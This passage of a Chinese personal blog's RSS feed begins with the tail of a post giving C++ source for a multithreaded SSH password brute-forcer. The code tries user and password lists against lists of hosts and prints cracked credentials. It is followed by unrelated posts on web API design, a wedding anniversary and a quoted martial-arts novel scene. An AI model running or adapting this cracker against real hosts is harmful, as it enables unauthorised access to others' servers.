			<span style="color: rgb(177, 177, 0); ">while</span><span style="color: rgb(102, 204, 102); ">(</span> tmp<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>tmp<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\r</span>'</span> || tmp<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>tmp<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>'</span> <span style="color: rgb(102, 204, 102); ">)</span>
			<span style="color: rgb(102, 204, 102); ">{</span>
				tmp<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>tmp<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> = ' \\0 ';
&nbsp;
			<span style="color: rgb(102, 204, 102); ">}</span>
			<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> strlen<span style="color: rgb(102, 204, 102); ">(</span>tmp<span style="color: rgb(102, 204, 102); ">)</span> &lt; <span style="color: rgb(204, 102, 204); ">1</span> <span style="color: rgb(102, 204, 102); ">)</span>
			<span style="color: rgb(102, 204, 102); ">{</span>
				<span style="color: rgb(177, 177, 0); ">continue</span>;
			<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
			memset<span style="color: rgb(102, 204, 102); ">(</span>pwd, <span style="color: rgb(204, 102, 204); ">0</span>, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>pwd<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>;
			strncpy<span style="color: rgb(102, 204, 102); ">(</span> pwd, StringReplace<span style="color: rgb(102, 204, 102); ">(</span>tmp, USER_NAME, user<span style="color: rgb(102, 204, 102); ">)</span>, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>pwd<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span> <span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
			<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;&lt;test&gt; %s %s/%s\n&quot;, arg-&gt;target, user, pwd );</span>
    		<span style="color: rgb(153, 51, 51); ">int</span> channel = ssh-&gt;connectWithPassword <span style="color: rgb(102, 204, 102); ">(</span> arg-&gt;target, <span style="color: rgb(204, 102, 204); ">22</span>, user, pwd, <span style="font-weight: bold; ">false</span>, <span style="color: rgb(204, 102, 204); ">4</span> <span style="color: rgb(102, 204, 102); ">)</span>;
    		<span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(102, 204, 102); ">(</span>channel &gt;= <span style="color: rgb(204, 102, 204); ">0</span><span style="color: rgb(102, 204, 102); ">)</span>
    		<span style="color: rgb(102, 204, 102); ">{</span>
				ssh-&gt;close<span style="color: rgb(102, 204, 102); ">(</span>channel<span style="color: rgb(102, 204, 102); ">)</span>;
				<span style="color: rgb(0, 0, 102); ">printf</span><span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(255, 0, 0); ">&quot;[found] %s  %s/%s<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>&quot;</span>, arg-&gt;target, user, pwd <span style="color: rgb(102, 204, 102); ">)</span>;
				cracked = <span style="color: rgb(204, 102, 204); ">1</span>;
    		<span style="color: rgb(102, 204, 102); ">}</span>
		<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	fclose<span style="color: rgb(102, 204, 102); ">(</span>pwd_fd<span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(177, 177, 0); ">return</span> <span style="font-weight: bold; ">NULL</span>;
<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
<span style="color: rgb(153, 51, 51); ">void</span> ProcessHost<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(153, 51, 51); ">char</span> *host, <span style="color: rgb(153, 51, 51); ">char</span> *user_file, <span style="color: rgb(153, 51, 51); ">char</span> *pwd_file <span style="color: rgb(102, 204, 102); ">)</span>
<span style="color: rgb(102, 204, 102); ">{</span>
	<span style="color: rgb(153, 51, 51); ">int</span> index;
	ScanArgument arg;
	pthread_t workers<span style="color: rgb(102, 204, 102); ">[</span>MAX_CONNECTION<span style="color: rgb(102, 204, 102); ">]</span>;
&nbsp;
	arg.<span style="color: rgb(32, 32, 32); ">user_fd</span> = fopen<span style="color: rgb(102, 204, 102); ">(</span>user_file, <span style="color: rgb(255, 0, 0); ">&quot;r&quot;</span><span style="color: rgb(102, 204, 102); ">)</span>;
	strncpy<span style="color: rgb(102, 204, 102); ">(</span> arg.<span style="color: rgb(32, 32, 32); ">pwd_file</span>, pwd_file, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>arg.<span style="color: rgb(32, 32, 32); ">pwd_file</span><span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span> <span style="color: rgb(102, 204, 102); ">)</span>;
	strncpy<span style="color: rgb(102, 204, 102); ">(</span> arg.<span style="color: rgb(32, 32, 32); ">target</span>, host, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>arg.<span style="color: rgb(32, 32, 32); ">target</span><span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span> <span style="color: rgb(102, 204, 102); ">)</span>;
	pthread_mutex_init<span style="color: rgb(102, 204, 102); ">(</span> &amp;arg.<span style="color: rgb(32, 32, 32); ">mutex</span>, <span style="font-weight: bold; ">NULL</span><span style="color: rgb(102, 204, 102); ">)</span>;
	arg.<span style="color: rgb(32, 32, 32); ">cracked</span> = <span style="color: rgb(204, 102, 204); ">0</span>;
&nbsp;
	<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf(&quot;processing %s\n&quot;, host);</span>
	<span style="color: rgb(177, 177, 0); ">for</span><span style="color: rgb(102, 204, 102); ">(</span> index = <span style="color: rgb(204, 102, 204); ">0</span>; index &lt; MAX_CONNECTION; index ++ <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		pthread_create<span style="color: rgb(102, 204, 102); ">(</span> &amp;workers<span style="color: rgb(102, 204, 102); ">[</span>index<span style="color: rgb(102, 204, 102); ">]</span>, <span style="font-weight: bold; ">NULL</span>, CrackPwd, <span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(153, 51, 51); ">void</span> *<span style="color: rgb(102, 204, 102); ">)</span>&amp;arg <span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(177, 177, 0); ">for</span><span style="color: rgb(102, 204, 102); ">(</span> index = <span style="color: rgb(204, 102, 204); ">0</span>; index &lt; MAX_CONNECTION; index ++ <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		pthread_join<span style="color: rgb(102, 204, 102); ">(</span> workers<span style="color: rgb(102, 204, 102); ">[</span>index<span style="color: rgb(102, 204, 102); ">]</span>, <span style="font-weight: bold; ">NULL</span> <span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	fclose<span style="color: rgb(102, 204, 102); ">(</span>arg.<span style="color: rgb(32, 32, 32); ">user_fd</span><span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf(&quot;all thread exit.\n&quot;);</span>
<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
<span style="color: rgb(153, 51, 51); ">void</span> ProcessHostList<span style="color: rgb(102, 204, 102); ">(</span> FILE *host_fd, <span style="color: rgb(153, 51, 51); ">char</span> *user_file, <span style="color: rgb(153, 51, 51); ">char</span> *pwd_file, <span style="color: rgb(153, 51, 51); ">int</span> *current_host <span style="color: rgb(102, 204, 102); ">)</span>
<span style="color: rgb(102, 204, 102); ">{</span>
	<span style="color: rgb(153, 51, 51); ">int</span> pid = <span style="color: rgb(204, 102, 204); ">0</span>;
	<span style="color: rgb(153, 51, 51); ">char</span> host<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">512</span><span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(102, 204, 102); ">{</span> <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">}</span>;
&nbsp;
	memset<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(153, 51, 51); ">void</span> *<span style="color: rgb(102, 204, 102); ">)</span>host, <span style="color: rgb(204, 102, 204); ">0</span>, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>host<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>;
	fgets<span style="color: rgb(102, 204, 102); ">(</span>host, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>host<span style="color: rgb(102, 204, 102); ">)</span> - <span style="color: rgb(204, 102, 204); ">1</span>, host_fd <span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
	<span style="color: rgb(177, 177, 0); ">while</span><span style="color: rgb(102, 204, 102); ">(</span> host<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>host<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\r</span>'</span> || host<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>host<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>'</span> <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		host<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>host<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(255, 0, 0); ">' <span style="color: rgb(0, 0, 153); font-weight: bold; ">\\0 </span>'</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> host<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">0</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\r</span>'</span> || host<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">0</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>'</span> || strlen<span style="color: rgb(102, 204, 102); ">(</span>host<span style="color: rgb(102, 204, 102); ">)</span> &lt; <span style="color: rgb(204, 102, 204); ">4</span><span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		<span style="color: rgb(177, 177, 0); ">return</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	pid = fork<span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> pid &lt; <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		perror<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(255, 0, 0); ">&quot;fork error for.&quot;</span> <span style="color: rgb(102, 204, 102); ">)</span>;
		<span style="color: rgb(177, 177, 0); ">return</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> pid == <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		ProcessHost<span style="color: rgb(102, 204, 102); ">(</span> host, user_file, pwd_file <span style="color: rgb(102, 204, 102); ">)</span>;
		<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;exit one.\n&quot; );</span>
		exit<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
	<span style="color: rgb(177, 177, 0); ">else</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		<span style="color: rgb(102, 204, 102); ">(</span>*current_host<span style="color: rgb(102, 204, 102); ">)</span> ++;
	<span style="color: rgb(102, 204, 102); ">}</span>
<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
<span style="color: rgb(153, 51, 51); ">int</span> main<span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(153, 51, 51); ">int</span> argc,<span style="color: rgb(153, 51, 51); ">char</span> *argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(102, 204, 102); ">]</span><span style="color: rgb(102, 204, 102); ">)</span>
<span style="color: rgb(102, 204, 102); ">{</span>
	FILE *host_fd;
	<span style="color: rgb(153, 51, 51); ">int</span> current_host = <span style="color: rgb(204, 102, 204); ">0</span>;
&nbsp;
	<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> argc != <span style="color: rgb(204, 102, 204); ">4</span> <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		Usage<span style="color: rgb(102, 204, 102); ">(</span> argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">0</span><span style="color: rgb(102, 204, 102); ">]</span> <span style="color: rgb(102, 204, 102); ">)</span>;
		<span style="color: rgb(177, 177, 0); ">return</span> <span style="color: rgb(204, 102, 204); ">-1</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(128, 128, 128); font-style: italic; ">// open all files</span>
	host_fd = fopen<span style="color: rgb(102, 204, 102); ">(</span> argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">1</span><span style="color: rgb(102, 204, 102); ">]</span>, <span style="color: rgb(255, 0, 0); ">&quot;r&quot;</span> <span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> <span style="font-weight: bold; ">NULL</span> == host_fd <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		perror<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(255, 0, 0); ">&quot;open ip list error.&quot;</span> <span style="color: rgb(102, 204, 102); ">)</span>;
		<span style="color: rgb(177, 177, 0); ">return</span> <span style="color: rgb(204, 102, 204); ">-1</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(128, 128, 128); font-style: italic; ">// init ssh library</span>
	ssh = new ne7ssh<span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
	<span style="color: rgb(128, 128, 128); font-style: italic; ">// create enough child frist.</span>
	<span style="color: rgb(177, 177, 0); ">while</span><span style="color: rgb(102, 204, 102); ">(</span> current_host &lt; MAX_HOST <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;now %d hosts.\n&quot;, current_host );</span>
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// all host done(when the totle number of hosts is less than MAX_HOSTS)</span>
		<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> feof<span style="color: rgb(102, 204, 102); ">(</span>host_fd<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>
		<span style="color: rgb(102, 204, 102); ">{</span>
			<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;feof.\n&quot; );</span>
			<span style="font-weight: bold; ">break</span>;
		<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// process new host</span>
		ProcessHostList<span style="color: rgb(102, 204, 102); ">(</span> host_fd, argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">2</span><span style="color: rgb(102, 204, 102); ">]</span>, argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">3</span><span style="color: rgb(102, 204, 102); ">]</span>, &amp;current_host <span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(177, 177, 0); ">while</span> <span style="color: rgb(102, 204, 102); ">(</span> wait<span style="color: rgb(102, 204, 102); ">(</span><span style="font-weight: bold; ">NULL</span><span style="color: rgb(102, 204, 102); ">)</span> &gt; <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;we can get new.\n&quot; );</span>
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// all host done, wait all child exit.</span>
		<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> feof<span style="color: rgb(102, 204, 102); ">(</span>host_fd<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>
		<span style="color: rgb(102, 204, 102); ">{</span>
			<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;wait to quit.\n&quot; );</span>
			current_host --;
			sleep<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(204, 102, 204); ">2</span> <span style="color: rgb(102, 204, 102); ">)</span>;
			<span style="color: rgb(177, 177, 0); ">continue</span>;
		<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// process new host</span>
		ProcessHostList<span style="color: rgb(102, 204, 102); ">(</span> host_fd, argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">2</span><span style="color: rgb(102, 204, 102); ">]</span>, argv<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">3</span><span style="color: rgb(102, 204, 102); ">]</span>, &amp;current_host <span style="color: rgb(102, 204, 102); ">)</span>;
	<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
	<span style="color: rgb(128, 128, 128); font-style: italic; ">// clean up</span>
	fclose<span style="color: rgb(102, 204, 102); ">(</span> host_fd <span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
	delete ssh;
	<span style="color: rgb(0, 0, 102); ">printf</span><span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(255, 0, 0); ">&quot;All done.<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>&quot;</span> <span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
	<span style="color: rgb(177, 177, 0); ">return</span> <span style="color: rgb(204, 102, 204); ">0</span>;
<span style="color: rgb(102, 204, 102); ">}</span></pre>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:08:34 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[WEB API的粒度问题]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=825</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=825</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: arial, sans-serif; font-size: 14px; ">最近工作重心转移比较大，想想最近几年挺有意思的，不过等年底总结再写。这里说说最近感受的一个东西，那就是WEB API的粒度粗细问题。</span></p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">我们的阿里云提供类似亚马逊的Web Hosting服务，各种网站各种业务都有，因此需要把以前只给内部提供的一些安全服务作为增值业务推到外部去，给使用Hosting业务的客户使用，让他们无需研究安全就可以得到保护。这里就涉及到系统改造，最简单的方式是在原有系统的外面再包装一层，让Hosting业务的前端调用WEB API间接的使用安全服务。这个方案，其实2008年我有做过类似的事情，当时时包装SUN的一个认证系统，见&nbsp;<a href="http://www.icylife.net/yunshu/show.php?id=650" target="_blank" style="color: rgb(17, 85, 204); ">http://www.icylife.net/yunshu/show.php?id=650</a></p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">。问题在于，当年的这个系统很小，实施起来比较简单。而现在的涉及到前端业务的变化和复杂度，再加上性能的考虑，这个API的颗粒度如何把握？</p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">首先看看颗粒度比较细的API的劣势，显然的，粒度越细的API调用起来越繁琐。假设安全部门侦测到某个IP的VM处于SSH密码猜解状态，需要调用后端的系统做处理。这时候可能要先调用WEB API将VM IP转换为VM Name，基于VM Name查询VM ID，基于VM ID再做策略变更，我相信大多数的开发者面对这种连锁的API调用都会抓狂的，而且代码会非常的累赘。另一方面，WEB API是远程调用，HTTP协议性能并不高，来来往往的解析导致整个系统最终的性能会非常的差。但是，这种细粒度的API也带来很大的好处，那就是灵活性，无与伦比的灵活性。整个系统在物理上可以分布式架构，也不用顾忌不同的语言之间的整合。最重要的一点是，前端频繁的业务变化不会带来后端API的变化，只需要调用者修改代码组合不同的API就可以实现新的功能。</p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">相比而言，粗粒度的WEB API优缺点也很清楚，就无需多说了。那么是否有好的方式，兼顾两点？我的看法是很难。具体粒度如何粗细，只能凭借经验去把握了。</p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:08:11 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[结婚三周年]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=824</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=824</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: arial, sans-serif; font-size: 14px; ">最近工作比较忙。Icy抱着宝宝睡着了，我趁机会一个人坐在电脑前写几个字。</span></p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">上周五是Icy二十九岁生日，周六则是我们结婚三周年纪念。一晃就是三年了。自从有了宝宝之后，生活改变了许多，不过周六还是偷闲过了比较洒脱的一天，把宝宝完全交给了岳母。我和Icy午饭后出门，去万象城买东西、看电影。悲剧的是多了一个庆春过江隧道，新修的，路很好，于是我毫不犹豫一路开到了萧山。周折之后才到达万象城，稍微好看点的也就是一个《失恋三十三天》，不过我觉得这个实在不适合结婚纪念日看，于是就把目标改变为单纯的买衣服，然后在仙踪林坐坐吃点小点心。五点开始返回市区，因为我周五预定了杭州大厦楼上的王品台塑牛排晚餐。</p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">差不多六点二十到达杭州大厦，服务生把我们带到座位的时候，一切都已经准备好了。靠窗的角落，桌上撒上了玫瑰花，还有花瓣摆成的心形，很喜欢。饭后回家，宝宝已经睡得很甜了。结婚四周年的日子，我们就可以带着宝宝一起，那时候她该有一岁半了。</p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:07:56 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[最喜欢的打斗场面之一 ——陆小凤对金九龄]]></title>
			<category>读书</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=823</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=823</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">金九龄微笑道&quot;这屋子已是死地，我现在也正想将自己先置之于死地而后生&quot;这句话说完，他的大铁推已出手。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">这大铁惟实际的重量是八十七斤。 一柄八十七斤重的大铁椎，在他手底施出来，竟仿佛轻如鸿毛，他用的招式轻巧灵变，也正像是在用绣花针一样，这一招施出，竟暗藏着六七种变化，却听不见丝毫风声。陆小风叹了口气。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">直到现在他才真的明白，金九龄实在是个深藏不露的人，武功实在是深不可测。直到现在他才相信，木道人、古松居士，苦瓜大师他们，的确不是这个人的对手。他的心念转动极快，动作更快。他的脚步轻转一滑．绣花针已反手刺出，只&quot;磁&quot;的一声．针锋破空，竞像是强弩出匣这根绣花针虽然轻如鸿毛，在他手里施出来，却仿佛重逾百斤，他用的招式刚猛锋厉，竟也正像是在用一柄大铁椎，霎眼间两人已各自出手十余招。至强至刚的兵器，用的反而是至灵至巧的招式，至弱至巧的兵器，用的反而是至刚至强的招式。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">这一战之精采，已绝不是任何人所能形容。江重威、华一帆、常漫天面上都已不禁露出惊讶之色。他们虽看不见却听得见。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">屋子里只听得见绣花针的破空声，反而听不见大铁椎的劲风。他们全都是身经百战的高手，却也无法想像这是怎么回事。只听绣花针破空之声．&quot;赤赤&quot;不绝，越来越急．而且听之在东．忽而在西，流窜变化，竞远比飞蜂还快十倍。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">华一帆忍不住长叹道&quot;难怪木道人也常说陆小凤是百年难逢的武林奇才，此言果然不虚&quot;常漫天沉着脸，道&quot;但金九龄却更可怕！&quot;华一帆道&quot;哦?&quot;常漫天道&quot;陆小凤的出手如此迅急，招式变化如此快，但金九龄的大铁椎施展间，竞还能连一点风声都不带出来，这岂非更令人不可思议。他知道金九龄用的是大铁椎，因为他刚才已问过欧阳情。他交手经验的丰富，远不是养尊处优的华玉轩主人能比得上的，他的分析当然也远比华一帆更精。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">华一帆沉默了半晌，缓缓道&quot;久闻常总镖头身经战役之多，少有人及，这话看来也不假&quot;， 一句话刚说完，突听&quot;呼&quot;的 一声，如狂风骤起，如神龙。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">常漫天耸然道&quot;金九龄招式已变了&quot;</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">金九龄招式如此变了，变得刚烈威猛，无坚不摧．无物可当，屋子里突然间己被人铁椎的风声笼罩，几乎巳没有别人的容身之地。江重威动容道&quot;难道他刚才都是在试探陆小凤的出手招式，直到现在才真正使出真功夫来&quot;常漫大道&quot;但陆小凤的真功夫也使出来了。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">江重威道&quot;怎见得?&quot;</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">常漫天道：&quot;他的大铁推招式如此凌厉，若是换了别人，早已被逼出了屋子，但陆小凤却反而没有动静了，显然还能从容应付，在待机而动。&quot;欧阳情看着他，眼睛里不禁露出钦佩之色。这瞎子看得竟比有眼睛的人还准，陆小凤的确还可以从容应付，他的人竟似已从有形变成了无形，竟似已变得可以随意扭曲变化，竟似变成了一阵风。无论金九龄的大铁椎怎么样逼他，他总是轻描淡写的就闪了过去。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">有时这大铁椎明明已将他逼入了死地，谁知他身子突然 一扭，就已化险为夷。公孙大娘脸上本来还带着忧郁之色，现在却已松了口气。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">常漫天忽然叹道&quot;我本来还认为陆小凤不是敌手，现在才知道金九龄已必败无疑！</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">江重威又问。&quot;怎见得?&quot;</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">常漫天道：&quot;金九龄现在已施展出至刚至强的招式，刚必易折，强必不能持久，他的力气消耗，必定远比陆小凤快得多。&quot;他脸上也发出了光，慢慢的接着道：&quot;等到他已不能将大铁椎运用自如，要砸烂屋子里的东西的时候，也就表示他气力已将竭，陆小凤已可反击了！</span></p>
				]]>
